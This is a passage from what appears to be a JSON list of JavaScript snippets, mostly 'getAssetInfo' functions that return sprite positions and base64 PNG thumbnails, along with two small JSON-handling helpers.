\"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAHp0lEQVR42sXX+VOT+R0HcP8Df6rt\\nLyvuD512dtv1qKzVrUXQxV1PiAjqIoeIcojKoSwIBAg3CQGFcJuEEAMIBIghdx4IJCQIBEFwASWc\\ngqCA13rtzrtPnnYcbceZTjtP+M68J3l+e83ne32+a9b8j6OazXC6ke3tnxd7kFvM9CDE2UcJyQep\\nZHkSklxvZtQp141rVmPU5x\\/DTc4xSHK8qYgyvVDJYrz\\/rkhloDzFEzlRexHoudnF4UAx28sqyTsK\\nGc8X4mwvVKUfgSCNgdLEQ+CneoL74z5cPu0C771foi7r6FqHA6vZXkTS+W\\/Bz2JAQKYk+SDYMXuR\\nG70XyWGuiPHfjmi\\/7fbqYVWmuJrjxa3K8QIJRXSwGxIj3Clkbsx3yLu8D1kXv6WAoT7Oy6sCLGYd\\nYoo5Xsi89D2uZzBQkc6AKPcIeEkHkB3ljvgQV4R6b8WBXX8gHI7T9PSsbZGWSq9neFAoO9QeYTYD\\nhQn7KeDlgB0UMOC4m61S37HRobgHM7PWkXu9YIbsItecO65d2Y\\/SlENIj3Sn1mB6xG5qegMObwIr\\nPw0Nd4eWS\\/R6xyDV3d0uj1dW8PTZCurFPFw+ux+XAr+hEnnyrwj3ccbJg18h2Hc34hPPQ3mnD63j\\nNhTrCKYDKziz\\/PbXX\\/Hml1\\/w\\/O1bdJgN0BoJtBq0aG5To16vRNfsHDqnZ9G\\/sADZvRHw9HrHnYVK\\ni2Xjw6Ul4vW7d1h5\\/Rqzz1\\/AtvIUI0tLGFx8jJ75RxSwfWoGbRMTNqHReHhVdvL4w4fEyqtXePTi\\nJSb+BRxYWMTtuXkYJqdhsk2iVKNZu2a1xsyjBes7cqpfvHmD6WfPMbq0jDsk0PxwDsTUNPrmF1Ci\\n0a9O9TpGRjbOP3kCO\\/D5J4D237qBQalDqyg39jkN2ib4Sz\\/\\/jKcvX+KtfaN8Aqh6YIN2Ygqacfs6\\nNB92yOYYnZ5ZfvH2BSZXBjD6RIuBpzKMvjTh9jM52pZqoHwkQrNNiIa+Ygj6wpDT4wO1rR2q8QlU\\ntnfQe9RoLBZm\\/Z0c9C+24N6yBpZJCYxzldAsZaF1OQl1TyJQ+dAXgonTyCM8wes8gRSzGyqsEeB0\\nBqKorZ6gHZjVxkDu7T0Qj4WjaToe2gUOmuZjIZ47A\\/59PwjHAnFt1AN5d\\/cjo9cdyUZXJOhdEFK\\/\\nAWwtl34gS8FAqnkLmAZn5PS7onjEAyUPjqDsgQ+qNGHoHilC6eAJZFu\\/R0LnNkSr\\/4TQxs9xQbkB\\npe1q+oH5ymAoh8qQbdiHS03bEKP7PRLvfEZmPZWE\\/vW4Yv0MsV3rEVrzBcIbvkBIzZc4VfEVcuXl\\n9PaGKrNFKmyPxeD9ZmispchoPo5w4Vacq\\/qazDacE21DOJkw8jtE6Iwz\\/L+AVeeJInkQBeSqBXQD\\nzQRX5oOVGR3mxmTo7ymH3pAFlT4NCk0ybqmSIFcnQ6vLwpBFiDFrDabvNcPSV0ICN6JAW0U\\/sLY9\\nGveHayng+EAdfuoRYcBUCauhBD1EEXrbi2HtKPsIODXWgqDKLUhtSqUfKDMl4uatWNztE\\/zXwEWb\\nBszaA0hq+JFeYPfQEHHLzKSmuLL2LDraubB2lVHALn0+OjUcKFqZKK8L\\/A+gaeQamI1xoLVx7R8Z\\nJeSWZAr44G4t8oUncL3uLMolQYjgbsZVkQ\\/8ORtwnPM76PSZuCL8Br5F61BPRCGsegeSpVfo7Qvt\\nwOFR0T+BQ7XQaDPAu+FP4ragTBKAq9U+MOq4UKlSUNLgi\\/Jmf4wOSqgKslq8HAO8NyZ6v4vta5DQ\\nZ0MmTwBb4IEz+X+EXp1JrUF+82mI5CEQKIIwNdoETqsfkptoBhr6u5f\\/HZhUugdqdRq1BtP47ggs\\ncMIPBb+Fb+E6xAg3I6n2b9B3Z4Kj8EeaPIVeYJPxJmy2+o+AxTV+4IgYYFd5ULtYoWDiFM8Jvrx1\\nYNcfeD\\/FdmC6ggWelvCnr93qacHrx6aPgPZdbNCzkVixCzpVOqqkZxHEW4\\/TZetxsuw3aDfnUEBp\\nVzIJTKX3dafsacbynO4j4IfnYGtrIpKELlT1BLIgVMj93h8zjSYS2OoA4I3OeMxPqT8J1Gsy0KKM\\ng6mDS52DY3frIDOxcFHiilx1Fr3AYbJ1L9aeR74qGI3mDLT18tBpLkRbRx5UOhZ5H6dAoWVBqUtD\\nnTYWBfIAXKrbg3DxDsQ1HEJTbzO9m6Rn+Cfp8GwX2oYlKCMikacKQmbTMeQ0++BSvRuVGDLRN11x\\nsdYFEZKdFC6E7HRyWoNRa9GiUKdzou8utlj870x2ghgWk9W4ikJtKKoVF\\/DqzSKu3NyLKBIVWft3\\nXLixE7Hi3UhvZJAt2HacEWxFriIMVSaLjda7WNfX52QcNkBPAqW3ubhIXl9xAjcUtPhS\\/8+T1TpP\\n\\/ubIfkCNNgqPViyo6YhBUMUmsMl2rFTXxqX9ZTdkm7DyDQkoVJ9DWtNRhPG3IkxojzOVUDJspR9K\\nGk9B15uNPLKptfeCxe0SVOiMTrQD7e9i04iZuKa+CJGRvBk0F8CSeiGyeifO8jfjzPVNVGLEbgiv\\n+BqnyeqxZLGOeRd\\/OPrGx51kVglTOSDhF2ovLxeoI5HdGooUskEIrtxEBFX8WRsv9WVmNMb9X7v2\\nH6zzu9CC4Z8FAAAAAElFTkSuQmCC\",\n\t};\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, \"\"));\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-26,\"y\":-24,\"w\":52,\"h\":24},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAIvUlEQVR42s2Y91eTeRbG\\/Q+YXXcX\\nwXEUnebMIIgONhwYkaYQpCkgkNBCCZCEFmlSBISEXhNa6KEoQYoUkQg6gAUjIIKABBFBsGSxjs7u\\nefZN9sTj7vy0ZxLde849eZMfcj7n3vc+z\\/1+16z5RPGPd0vklflB\\/sJUj+jJwpDo1xfTfNlva\\/4f\\n4s3zGfKDqW5MDgswd6cFz5evg9fsgbCC\\/ThVaiuRLt\\/U+WRwywuD5NnxFjmc5HYzVh9dxdOly0ir\\nsQczex8ETQz0C5OkUXu3b\\/zocC+kE7FT4gY53N1rAvRG0LAkbsP0RB1Ccg0QmWuC4b4cZHtaI2T3\\nDtFHhXv36gFfMtmDqZEWSO50YnlGhLttpXg8342p0SpE5ZuiqTkcV7pSUJflj+pML9QWeRuqHOze\\nDZ7aylwr\\/8FUMxbu1mDiRhEWpwV4\\/OACXj+fxdLseaKifAyJMvBLVyp6mmPQUhuMzFAbuGp\\/x1c5\\n4NydKqEMbJIAG7\\/GRdeZCNwhPmdGSrE004DVpR4sTddjoFsGdxKVJVTUl\\/iimOOI1BBz1bZ5ebZO\\nZ268Etd609HZyJJDNJT5oq0uBOdqmBC1xUFYGUQAF6Cwwh2uLF3QogxQnOWEwlRbFKfZqxZw+laJ\\nUFDsj1aWHQoNvkbRCTvUFfsg97QdzteHozSbjPb6MAiKvDDYexpuodvBzXBEXsoRsNmHwCmyUn6L\\ngWdq+G3JULosjn36cEByra8It6JpqNLVRJjWWmSQdJBiuwOnI0ioLvQgYOzRKmCirZaJyjIq8lJt\\nEJSwF6H5BuKUhoNqSod7KZ0QK3RuZU6E6dlmpNU7oC2XDq7xdtxws0bWVnV47N2MSIYxmioD0VJD\\nR2U+GeeqgxCdcABx2aZilqrgFDr3SNKL315MoL0\\/Dmc7w9DaEYn54SZc8jyCDAKQrK0Of\\/\\/diEs8\\nCHa8FXjpDkRFybKUXGigqhZuabYHb1fHIV3sw8PpJkyPVGF0kIuhi2nor08CRU8dew58Bovg9XDJ\\n2gzTIE3YBGwBJ4Mkba0K0FEp3MPpLryRjhIWdoV4FhJyUi2HK6umooTvhYjTprDx2Apdyz\\/BiaMF\\n66gNMPbXgCtTG56ndMkqhVuY6sDrp7cI8x\\/A4kwzZkarMTbEw9XeDBSWUuAWsR1OwdtA8vkW+g5r\\ncdh5C9y99GDt+RUO0jQlKoWbn2zHyyc3MV6fg0bnI+jnRmOwLwMMtgHKKqjoJAQ6Jd0Wbkw9OIXo\\nwIy2HmZ0TTiSf5BwOcesLVlaOg4pm9VUAqdYmV4+vgZxfRouZodjuCsT5QI\\/9LTEQVAZIBfkGq4n\\nOKdJiE78GdRYPaFJgAYO+GlID3hqbFRq5d69mnsPp1iZXj25gWVJOyTjAoxfL0FrayT8k\\/aCW0RG\\nnN0BRNkZopRwiLxkEspznNFATKqR1zqJoac6DCjqIiXBLW58+3JGvLoygKcL3Vie68CrZ6N4\\/ewW\\noXkdRCXriWWgDMP9OSiv8gUlSg\\/FXApYlvsQZKaP7DhLRBjoI9V4n3wYDD3XiUyIVh8O\\/QJK2Uoe\\nzl6QTolL5dvI2FABAcPDyC85xECcIQaiChPDZbh5OVe+MsVwDsElXBexSRbg57iggLAvbqItOFZG\\n7+3LOmKT0CZBS8c+\\/ss\\/XkHp4qXMmRE+eltiIRkrx5XOZJxvCEPX2UjCT0Nxj9hOxgYL5QtBUYk7\\nfKJ34xhDG9lsW7CDzcH2NoUgmxL74X8qhkIpw7Ey3y0Z7OGgo4yB8kBLFJx2RIHLHiQabUV+pA3R\\n1gzMT1RB1BqPhDQSHBnbQGHuREqiBWJM97xvq8piUlyFlvIQdBzaJTf+hK\\/+ijGqM\\/jbNMH4Wp3Y\\n5aKJCuaiTciCa8h22Pl\\/Dy7bDjwOkUE2qoH759ulWEU+ut+PkbNsiIgXvnrHRqR+8ze0G36Pwh\\/W\\nwXfDZ+CmueBMOQ3tjeFwYeghPsGUALRFLc9d+XAyKXm9OiO+P3leLiWLM9349e9jWF0exP0BASqd\\nLcDU+QKpltoI2PYXWOz4MxzdtOEToA9n+ncwoa4nHONbUJN0JQ7xXxoqHW718eh\\/eKt05Sp459zf\\ne+vUrVoM9eaiusgbpAAtWLI+x27HtTAN1CAsSwMybTNjfJ4pg1OaOyjgpEvDYhmYwlufPRrE7TvV\\nkBBHww+9tZGY3IYKOuhpenDJ3AwTX02YMzTlxv+ThzqhbRtESq+cDE5RufsTbXjxeBgL9zuRXGmF\\nCTEft68Wg1fpCXryfrnx+0XsATVgh9xTD1M3geL4I8IDjORSYhWxyVDp79x\\/e+vsvWbElZshimtM\\nnMiKcf1SFprPhCMuzQp+0XvhFaYPN29d\\/ExdJ2\\/rkePfZKpkIK5eaREPXOT\\/zltTakgIL9iPunNM\\n3OjLxuWOZLkwN1fRUVFAQWmmE2isnZlG3howp2+AdeQmqcwZlAoYFuAqPGplCFlSXS3RWMnGm2di\\n9A1ywOL+JL8vqTvLQLcgGhy3Q2BTLYlTmDeSaGZIDjiIimwnsk2MlsQufotqtM7B0lCkAFQk0\\/co\\nJm9W4STPHIFpe9AiPIEaNhX0XXoIMvwR\\/Ozj8Nupg8SjRjhbQtuoMjhZHLMy+h3gv6t5GMImFuJy\\nDqOcWDhl1xHceMf3xp8bScKZMqrq7\\/O8XSzoXs6H4OFkAcoxM5CPmsLV3gTHbY0R5m+Pi+di0Vob\\nIr+OKJfD2aAk4ygaSr1Vf28iCxbVQY3p5yBl+DiA7m2HQC9b0DyOwN\\/dGr5kEtITKGgs80MWsRAE\\nm+sjN5qEuiLPjwOniHgWhR4bRkFMCBnRwW7EgdoFJ+jHER7ojBNBTsQ75waW7T6cMN5FDIiH+JPc\\nfKafovHTEmhgx\\/kj5aQvkmN8kBRFxalIL2QkOCM3loQKjrP4QgNLbc2nCl5WuJCbEYbC9FDkc0KQ\\nm8pETgoDOcmeqjnx\\/8+APJYaPy8qk58fhQ+zPC9U+Sf+PxJleVHW\\/PxIsQJQ9v1TsfwLfl+\\/\\/wma\\nrosAAAAASUVORK5CYII=\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-43,\"y\":-118,\"w\":86,\"h\":118},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAHrUlEQVR42s2YV1MUaRSG+Qf8Aass\\nb\\/TKUMKaQIdSkKhDzjmIknOGIWcYibvkDJJEVNKO2ggLUqIS9mq98cJ75yecPe\\/RsQYXygIG2a76\\nioFuup8+4X3PN2ZmJjrKKyq0kVHRSlFJmdLY2Kgy+z8cjx8\\/Vg0PD6u6u7tVzc0ttLq6Sp2dneTt\\n7d0zOTl5\\/tjA1tfXNU+fPtX39fVRc3MzVVZWUmlpKQ0MDFBVVRV5enpRZmYWZWfn6H85XGtra8j2\\n9t80ODhI5RWVlJWVQ8nJqZSSmkqPHo0K4M2bNykpKYnCwsLol4FxtDQzMzMKw+k5tVRcXLaRkpL5\\nPY0VFRX0+vXr4wG0sLBI\\/GtlhdrbO2jt7Vv96OgoxcUnfTK+5meAOp3O\\/MgAm5qalK6uboqNT9Aq\\nyiINDQ1RTGw82drbq52dXZSAgEBlN8C0tDTqHxyikrJyysvXUEZWLk1OTX8yOeDS0jLV1NRSWGSk\\nemFhQeoPgL6+vuTh4UGurq60G+D9+\\/dpfHyC\\/vn4kVZWVqmjs4s0hcWmTzunh6qra2h4ZGxjYmKS\\nauvqqbqmju7cuUNOTk5kb2+\\/KyDLDYWGhsnf5ufnqby8nAIDg0wL2NXVoxkYGKK6ei3NzS\\/Qwp86\\njkQ3VVbVCACiB8gHDx4QlwJ3dDI5OjpScHAw+XCEnZycycHe4egAWd+0XV1dHMFqmpubp83NTWpk\\nkPyCAkkhoqdSqSguLo5ycnIENDQ0lFxcXOQzQC0tLGlkZORoAPmmKgOg7sULAWxpaaG09CxJOx6q\\nVrtSakoqLS0tUSrr4aVLl8ja2poyMjK\\/A3Z399DMzCzpdC946bReXl7mJgWsqanZAdjbN0BwksLC\\nQnr27Bnl5eXRkydP5CfbHyUkJOwAbHjYQA95VVVVy\\/n+\\/gFizyZ2JHEjLo2D+Tf7bMhugC0trRQU\\nFES5uXmS3t\\/\\/+IPi4+NJq9USR0eaxBgwLS2dxb1EUtzW1sau84jGxsYoPz+f7t27h3vtD\\/DLly\\/m\\ny8vLPfDX3QCzsnOlzu7evUuxsbEMk8EPDxRoPz8\\/EWkDIAs9pz5dygFNND09LZDZ2dnyIvsG\\/Pz5\\nc+Jbdoznz59LcRvW+Pg4vXr1SlI5whGAfGg0GmpoQPoeSpPExMSwP2eRm5sbpaSkfAdMSEikiYkJ\\nmpqa4kgWUwE32YEBt7a2aXFxUaQBMEgHbox6YT+W1CAKaIoVtsA3b97IqMURl6UoChqBu36O1tbW\\n6N27d3IeNYeUAu5QgBsbm\\/8B7O3tlVSjMWB18GOe+QQU0IDHdVyzUgLoejQQUo\\/ORvQBtxtgeHj4\\n\\/gD5bRVjwI6ODkkjbo6UFhUVEY9dUkcYUHt6eqQE9gJEE+0GiHORkZHk7+9\\/OEAIMtIQEREhxQ8B\\nRq3hxvBjNAWiEBISIk0SEBDAn0P3BMTKzMyUrsf9cI99AyJtGAoQEQOcv38Au4YNOTg4iA+jEdzd\\n3cnOzo5sbGzI2dlZzt2+fZsfHL4DEJE2hktPTz8c4I0bN+jUqVMiooCDffn6+gmAn58\\/RUVFibzg\\nQVZW1uIcBrhbt26Rt4\\/vDsC6urodETQG\\/CZP+wNUq9XywMTERIFD6jxZgB0cHCWlPj4+vPfwlCgC\\n6PLlyxJJfEY03d09fgr4Vcwz5EX3DYiUoNCxIQIc6s3NzV0+IyVwC6QXLwLBtrT8TcYswF2\\/fp3c\\nGDCXbW8vQDQJGu5AMmPcJFB+wCFi3t4+Aoaood4AgoX0YkAwwF27do1HLqc9AcvKykQJ8PnQgJAQ\\nzHn5+V\\/HK9QjutXDw1M6FRM1gBFJA9yVK1fI7rb9DkBEzACI1OOeyNJBAbUMqDCgwjKjsMZt\\/Eyo\\n+\\/r6qa29nd2iSbYHJSWlVMApNACilgGHYWJ2dlb+B9Z3IMAfD+5YFW6CBf1D2hEFeDEeiDrFBgkv\\nAFmCL8PWamtrZUDAtdjYQ8i3trbow4cPYn0vX740DSALsyo6OpqwDKDoPCzD5FxfXy8OAu2EwwAY\\nkYZAwwZRLvBoePf6+jptb2\\/T+\\/fvTQPIICdRf1iAhAYCDDaFTsd0glTiPBwFEoKIIaWoYQyoSCcG\\nW+wKAYoIYogwCeC3KAocJAYugvkQCyMWBBdaiU6HRsLqcD2majRDO9cmahh+jbrFGAdQNKLJAKH4\\n2K2hGxE1aBjmPUQT0FiQI7gCZkAAAxbbUaQfjoShA02GWsTXJwA9NCAPqOf5pgoegFSiKTAmoVkg\\n2sZRw++QIEBCeuAsubm5onloJPwv6hTy0t\\/fL0pwKECWgpNc9HqkEA+HIMPokS7U349giDKEHJGG\\nl\\/N2dIPlReGGUXgzpccLGjof4xq6\\/hvg1IF2edyFGsCdOHFCBoczZ87QuXPnZOeGSBinE+nF\\/gR2\\nx66it7S0VO91XwY9z2WiwjexDKg5cN1xB2oAcPr0aTp79qzsLb7amKPUEpoA5+Em2MBbWVnRhQsX\\npvi6o\\/smy\\/hgDdMglRcvXhT7gtcCBLYGAUYHQ27wd4bS80Sj\\/qXfprLiq9CFqCfMeZAX1FhQcAhv\\nARqlHq9evYoXmLK1tTU3O46DtasHhS0zG6czIiJSZAMp5k7Wc8rVZsd9sL8mcsdNJSUlK\\/BaLB4S\\nFHaCI4\\/avxRyUXNhps3dAAAAAElFTkSuQmCC\",\n\t};\n}", "function json_string(s) {\n if (s.length > 75) return JSON.stringify(s).slice(1, -1);\n for (var i=0; i<s.length; i++) {\n var code = s.charCodeAt(i);\n if (code < 0x20 || code >= 127 || code === 0x5c || code === 0x22) return JSON.stringify(s).slice(1, -1);\n }\n return s;\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-36,\"y\":-85,\"w\":72,\"h\":84},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAH0klEQVR42s3YC1BTVxoA4Fjrtqs7\\nXTs77azu7iyt7LjjVCkC62NFWEBZRARUSgFRRESeMUAIL5cQILA8SjABEiAQEiKPIOEVQgiQ8Awh\\nCY9gImCgEB4C1mdlUbc7\\/feii1K3Whso5c7cyUzuzblf\\/v\\/cc\\/5zUKgVOAYpeVuHyHlWanKuqSz+\\niz+g1tKhTEnZNMGswswUCWGqsPbrEVpR9JoCqtLo+pOMqoJ75R1wu7T5WwTIkuHxv10zwK6EhN8M\\nUBhRX+aU\\/GuYWnRPdTk3lh8Y+M6aimIXNuUjSVBaegealCULXUPRew70Yn3U7pZHb3GiMRucsn+9\\npnBic\\/zb45db7YeT6kaUocUyyYXMv68p4HCiQF+TKGAMEWuhO5g1J\\/HOTJW6kd9bE7g7bOl7s0yF\\n33hG893BuErow7FB5k8blJwjeVYb4Tf+rDiJE+eXmmiBPZLebi1ZDEPEKlCGsUFyngrCk6mSasuE\\noww9\\/Ls\\/C07hnb2h\\/yzHrM+jpEN+ig2dnzOg9UQONNpnQJ0tCaoPJwPXgthUfhB\\/kINyWr+qOI4T\\nZ73qbOUOlSeX2edRCq8Clv+N+KTUFF9QaIzbjvxs3aoBNWf5HwxeqIpTeZU\\/ei3Qggglpvi7Rfui\\nCBzDiA9WKbWKDdqQ+kMjofWjN7B8UF+sBKUfB7rPXwGpB4J0yQahw2WosUn5HzAG2PsjexgmWDs8\\nyvztnxw4HiDcOhXfmnuH2Qu3r\\/TAdL4EJqhiGL1cD5rkalDjS0GBYYDYnQKV1onPgPuinjBMcKQ8\\nQ9zWnxQHSN+7ldBueie3Z+bf0gl41D4Cc41quM\\/rgdvlEphhi2CSXgfajApQE1jQ6JoGHLOnQGD8\\nBSenGwZbLhuRvevinhzDIJ+Fk2aA8c4xuHiUpOexeeHaKF68+T6tJ+JR0xh8o5h6LXAktRjkGCpU\\n2sQ\\/Axrj5ui7gwLI+sssIkpNYxoWGnx2Rv4n3wSnyjMIOrxw7R6pV2+M1tbYxuTCVyL19wLHc2uh\\nL4UFUgIVeiJoIDj5z2dAExwgfzova6fvx8sC9qGvfttyAunotkhHt05G+lHc3aIDoS4L1x6yVTsG\\nqI23smIIMNOg\\/F7gdQoH6OgwSPY4DyJsMjS6pSwBYmTUTwPMlwWcr9ZM38zqhKGYKiRF+dDpR77V\\neCrW9GkEyT0G07QuuMHreGWKBzLKgImJBJKnDwJMgQbX7wCHaJ+ijywL+LDouvRBhRqmc5pBk1gO\\nfWj6dKdHot7CzHEzrNlmJrYD7rH64euqQXhQo4L7Ncr\\/64PqlCKQRlChw48C1UeJKwucCWspnopt\\ngZEwPqgCykDuzpxQGGVvmPKu3jiFFZ2bDBaBFtsA2mgRjBIa4cu4ehiO58NgdCVcC+dAbzAbpD50\\nEJ+iAM8uCUoX3+KVAk6HNCeNoeth6AIy8Z\\/lgMytcGLh+xfAJhhFC+CGbw2ovbigfNVMYp38YqBe\\nSeDNYNGF7wJZs+ITNOMOZ\\/onGt+6CF2B7P1RwDGPnWy0I0fLXJlWEifGTvGxTH2BdZp+lXmiPnc\\/\\n\\/sM3KipmLrbtWQrscmU+bjmeI2qwo\\/Alzow+XYAVlgnQejIHut2LHvWeKdUgn9KOz\\/KEYscsnsCW\\nxKs6lMQrOxCLe6P5WuvLex8BDiyJ4NPGhXZkEDlkgS7A1pPZMOJfCxo\\/HiAFBnSfLgIJcr\\/YkQb1\\nyHCGAKHMLHYUibI7axd20+unMzy8NRYgcB3yrpp7GdjkkPmjgFxLIpQejAEk8jCGFr4WyDGLhcK9\\nUUK6YdQffzjN2PpNA14VLsozpUyZC1O7XOBVKyLUOZChxTl3SuZeKFCcYnM7PsvvFDtSZxHgN4tA\\n1r7IhwUmIW9W4CqMFBtkrlc+lrowDzQ7ZNnU25Bs5J+z\\/HUB5u8Nh3SjQCAbo0WcQ3HH5G6F21uP\\nZ+8W2WeeFhwhqZ9HEHmZmEZYV4aeh27LhNlgkYEuQNbeCKAZYYBi4M8j7\\/AxXGxPdIzy17ojpJ6l\\nwAIj7LnsLd4bVxW4pFjgUQ0CnwOb7amOyL0DS4F5u7HJSEHxvk7AiaCGnZNBorllAK9Sd6E\\/WWyv\\n6Vimj8A2XbsUSDcKKcvc4afb1skEWvinSUzjNV2BSD1IIe\\/y+v1ie3KfYnyDQ8atReCVA5eg2CJC\\nUnw4Srf9xdnQpm1TwSLFy0DFmwPTlkbncdt4\\/ldc5WNNugD6LhWBHJsNUr\\/U+XbfpO1rAij3K85R\\n4Wvmr8VUgDykAMSe6VBiETlTuC9IXyfg\\/exr226TFYqFaubHAovNIpDxMDyNYx76HChyzDzd4EAZ\\n5tl+AeXIWMk2\\/cdDpnGop85vMTSNb3si0irmeIMwmdQKAwFVPwissI6DemcitHnGQ9sZQlrtkRdA\\nvg35Hb5VqiHXMukossB3YO0N34NE+Fc6VzoTQU2\\/QwrWkrusPpgX34AHPCWy7GwHDbEWrl\\/iQj+u\\nBLoxLOjyzwOpPw16QmnQH5EF8sA04DlEz7P3h+JeBgAKtQ5Q+Lc4KM56WIndhzGMYIs2REgYDRfO\\naBObYDKzGSZoyNhIroPhlEoYIHJAFc2GXlwedPhQgH88EcosokeYe3B+JD3M5lXZXQAUrEPWyL8Y\\n8qj+c\\/+ZUn+ZO4sgcc4nNJ+gEZAUE\\/i2aQQkxYRKK6JruSlxCx6J0HKe91\\/L2IYlD1f+1wAAAABJ\\nRU5ErkJggg==\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-22,\"y\":-22,\"w\":45,\"h\":22},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAMFklEQVR42t2YSWwj6XXHjRx8MILc\\nEsNxcsglQeCccgsCGBgYyAY7CJDk4lySS445BB7PYBKMDcNjOxjbY3Tg7vZ0S2q1WluToihK1C5S\\nlEhR3IrivlSx9n1j7QsXKd8ntTrBIIDVPW1MkAIeVFUqVP34\\/7\\/3vuVzn\\/v\\/dKii+DV7qG4ORfb7\\njiR98f8MmOuqX7Z19WNLk5mR79mWxBGmyNYNhvrnzxzOHKr\\/ZGlq3dZlxlFlbjoeh5ZAM45Asw5P\\ncTZHPv5s7FTVL5u6umTpCgmVg3COIvIT3\\/NsnuRdnhRcjhA9Dhd9Dj+8Uvk\\/\\/FUz\\/RqGYb8lCMLX\\ndV1\\/z9DUqqmphKWrlKMpLIRzFVEMDG3oCpTsMqjsMaji0331JnpKwGLf+pXRoSi6oGlaC0R3qKko\\nABwAOMLSFBqq56qi4CmC5EmMGijc8BqK6ugjqjMckW0D\\/DVCqmv4dOfE47A\\/feOAPM9Toii2bwEt\\n02BcyxRu7fUAoCtxsi8y2kiX7IDu6gHZMkO8ZoeDuhMOam6IN5yAaNkA0vSY\\/qb1pkANw\\/g9CAiO\\nrq5pHV3X+p7rSKHvmxDQ1YCCiiD6CgCUGG1i6V4IFcPrdohWvTFaDm6iEoTYhR\\/gDdcjO7bLYobN\\nEQmN4373UwH6vv8WBAQ52JNFEUL2QS3ol5eXU3uovVQQAoaGYk08OwyJNgR0RgBs0i2OJu3cZNrJ\\nj8e90miEXQQB2XQ9umc7LGqaPE7oIv1Hrw14dXX1HZIkMZCHPYIg+qoq9zzHkcD9KwgZgt7nG5o2\\nMnVjZA0dE0lT9sWxPFGYYIxVAGB+fNk6nV42Ty4n7bPJqF8eAfsDl+q4NoPalkAahki\\/PuRkMpkH\\ncF0Yg8EAJQgcMw2DvXpx+LapOorADvEOJiOnPa2SIozCHu9hVXtqKuMJioymQMHLVnY6BYBjADiS\\nqbFLtnwA6Jo8YRkSbWgyr8ky\\/5evA5iBFkNAaDNoNSyw3RM5pkZ0m8dkAzlhG+W80CxWxYt8R7k4\\nwfVyih2eJ2Wvj7iX4\\/ByIjMTkIPA4uI4xJBRyA9GHt0NbA5zDQ53dIkxNYUfyqqkypr2F69q8ZXn\\neS7ofwqoYrFWqyFbmxsHO5uJ\\/RZS2sObSIpuVbNcs1zh6sWWUM9jUvWUVitpQSvuqFb10PTxegBy\\n4XKschNwHoYKNwYtKTQ4zBvypKOKjK0ooiFqks5rKiZo2lfuXMEvAB2WZYlIJLKxuLi4Homsbq5F\\no3vJjfWjNlI8IFq1E6pdK1ItpA5Ae1zjnBAvcpxUPZbk8oGmlPYMtXIACsiajD1rOgm8qaPyI40j\\nfADnSmAgEhXRFHR1yOuaymgaynre7\\/xSQJqmf\\/vo6Ci+sLAQ\\/Z+xvLy8EX3+PBmPRfe3E\\/FUt46k\\n8V49T3TqVbJ70aY6CMa0yxTTOOeZek7mLk40pnpscLWs6Wri6PpH28ZYEhlfBE2AV0SHVSWb0TWD\\nAVZR+lChdKOIatpv\\/FLIZDL51U8CglgDkIm1aGR7IxY92N\\/bznRa9dN+v1VC++36AG12sV6dwLo1\\ndtBBBKxVVNBmUQdhdJsFUwRgk8n4kpN5n1Ukj1IVl9Q1m9R1kzCMIT40VNwwJcXz3rmT1Wtra3\\/3\\nSUhg9drKyspmNPJ8J74RT2fPsqcdtJ\\/v9HtIG+22O4Me2sbaVBttc61+U2r0G2q939SraNOo9Fum\\n7XtjK\\/DHuKb6mKZ5qD500aFhY4ZloGAIQA1LNoLQuZOK8ABAb38S8tmzZ7FryHj8IJZMniKd9ukF\\n2i\\/V8UHtAh90a\\/hggOB9uoKjfBHvy+eDvpbDB8MMgZknFGmPp9NLxnFG7aHptw3TaxuW0zYcs2Pa\\nw45hK\\/Z44vOuf7d5ZSKR+AKA+vB\\/U3I5GttZ3UikdzInp8gAPyviBFIkqdY5RaF5kiJzNM1mKFpM\\nUbR6QDPDbZq14gznnCi6PwHdvmF5QdV0\\/JrlOiCshukOQahyMLJp16\\/cueXMzs7+JoCa\\/yTk06WV\\nzYXY+v5KcjeTqjdOcwRVyJJU7YRmO2mGw444kdplBT7JiXKck\\/TnnGw941V3TtT9vO2P5NFkem75\\nQcn23ZLl24jtDy9sX2WDkcG6vt6z\\/a\\/dGRJBkH\\/N5\\/O5W7gDcBxnQf5hWL\\/canW2svlCZkBnUxRT\\nPqT5+i4j9JKsRKxzChsVNHERNLkn4tB8KFnuzyQn\\/LHsjZrBZFLzx6OsHXpnVuAU7NAoA8CWHciC\\nH1ot0314Z8B6vf5VOLK4rmvDAL1SoxmGzBaKhaVE8mg2sX0czZezuySbT9ICskGLLQCHroo6+Ywf\\n8jOiodyX7eFPZdf5gRKE\\/6aOph9oozE7mk6L3iTIWKGTs0dG3g7UkumLELCmmyTpXn3priPL58Fo\\nkms2m1UAW06lUkeLoC\\/Or65uzq6t7c1ubKUebe+dbPSJTJzgzqO0eLHCyJ0Ffog95nT6gWgLH8mu\\n+iPZN7+jhu67yjh8Rx6F3wPn6Gg6yjhj+9gMjVPDVwumJ5GuP0RknekZ9g\\/urGKn03n39PQ0s7S0\\nFLvOQdAXny6vJp6AYpmLbx4+3trNzJ\\/ks+sYnVvB+eICJddmGK3zkDfwe7zFfCh6wvflQH1fCs13\\n1LH9tjp2vi2NzO9Jvo6F06DohNYtoOSHDqIMmbZmll9lfP58tVqduQW8KZSl+JPn0eRcLL7\\/aCN5\\n\\/HFyL\\/e80TtdxdnzRVKszFBy4z6rd3\\/CGPiPOIv5ruCK74Fp7rcFX\\/+WGOhvC772nugp3+UdPm+F\\nhjye+iXDlUbTyzFh2kpd1gg6CP78zpDA4l+vVCrrLyFBT4Q2z13bvHn0aGv35NFBJhftkdcqzpPi\\nxSNaaf0nq\\/d\\/wpn4DyEkZ\\/Pvi57476InvQ8WDRDuA95mfsyaZEw0WdAHr4dF3Q+cBgDEhsbTV5rp\